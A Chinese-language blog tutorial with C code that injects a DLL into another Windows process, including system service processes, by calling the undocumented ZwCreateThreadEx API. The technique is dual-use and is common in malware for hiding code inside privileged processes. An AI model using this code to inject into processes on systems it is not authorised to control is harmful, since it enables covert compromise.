本篇采用的技术与前一篇无异,唯一的区别是调用了更底层的API——ZwCreateThreadEx,与CreateRemoteThread相比,该API除了能注入普通进程外,还能注入系统服务进程,实际上CreateRemoteThread底层也是通过ZwCreateThreadEx来实现了,不过该API是微软未公布的,所以不同版本操作系统或编写32位与64位程序,该函数的原型不一定相同。
废话不多说,参考第一篇博文,直接上代码:
//定义32位函数指针
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx_32)(
PHANDLE,
ACCESS_MASK,
LPVOID,
HANDLE,
LPTHREAD_START_ROUTINE,
LPVOID,
BOOL,
DWORD,
DWORD,
DWORD,
LPVOID
);
//定义64位系统API的函数指针
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx_64)(
PHANDLE,
ACCESS_MASK,
LPVOID,
HANDLE,
LPTHREAD_START_ROUTINE,
LPVOID,
ULONG,
SIZE_T,
SIZE_T,
SIZE_T,
LPVOID
);
//线程注入函数
BOOL CreateRemoteThreadInjectDll2(DWORD dwProcessId,const char *pszDllFileName)
{
HANDLE hProcess = NULL;
DWORD dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
//打开注入进程,获取进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);
if(NULL == hProcess)
{
printf("OpenProcess Error!\n");
return FALSE;
}
//在注入进程中申请内存
dwSize = _tcslen(pszDllFileName) + 1;
pDllAddr = VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE);
if(NULL == pDllAddr)
{
printf("VirtualAllocEx Error!\n");
return FALSE;
}
//向申请的内存中写入数据_tcslen(pszDllFileName)*sizeof(WCHAR)
if(FALSE == WriteProcessMemory(hProcess,pDllAddr,pszDllFileName,dwSize,NULL))
{
printf("WriteProcessMemory Error!\n");
return FALSE;
}
//获取LOADLibrary函数地址
HMODULE hKernel = LoadLibrary("kernel32.dll");
if(NULL == hKernel)
{
printf("LoadLibrary kernel32.dll Error!\n");
return FALSE;
}
pFuncProcAddr = GetProcAddress(hKernel,"LoadLibraryA");
if(NULL == pFuncProcAddr)
{
printf("GetProcAddress Error!\n");
return FALSE;
}
//使用CreateRemoteThread创建远程线程,实现DLL注入
//HANDLE hRemoteThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFuncProcAddr,pDllAddr,0,NULL);
//获取ZwCreateThreadEx函数地址
HMODULE hNtdll = LoadLibrary("ntdll.dll");
if(NULL == hNtdll)
{
printf("LoadLibrary ntdll.dll Error!");
return FALSE;
}
//32/64
#ifdef _WIN64
typedef_ZwCreateThreadEx_64 ZwCreateThreadEx = (typedef_ZwCreateThreadEx_64)GetProcAddress(hNtdll,"ZwCreateThreadEx");
#else
typedef_ZwCreateThreadEx_32 ZwCreateThreadEx = (typedef_ZwCreateThreadEx_32)GetProcAddress(hNtdll,"ZwCreateThreadEx");
#endif
if(NULL == ZwCreateThreadEx)
{
printf("GetProcAddress ZwCreateThreadEx Error!");
return FALSE;
}
HANDLE hRemoteThread;
DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread,PROCESS_ALL_ACCESS,NULL,hProcess,(LPTHREAD_START_ROUTINE)pFuncProcAddr,
pDllAddr,0,0,0,0,NULL);
if(NULL == hRemoteThread)
{
printf("ZwCreateThreadEx Error!\n");
return FALSE;
}
CloseHandle(hProcess);
FreeLibrary(hKernel);
FreeLibrary(hNtdll);
return TRUE;
}
代码稍有些简陋或不合理,可自行修改测试!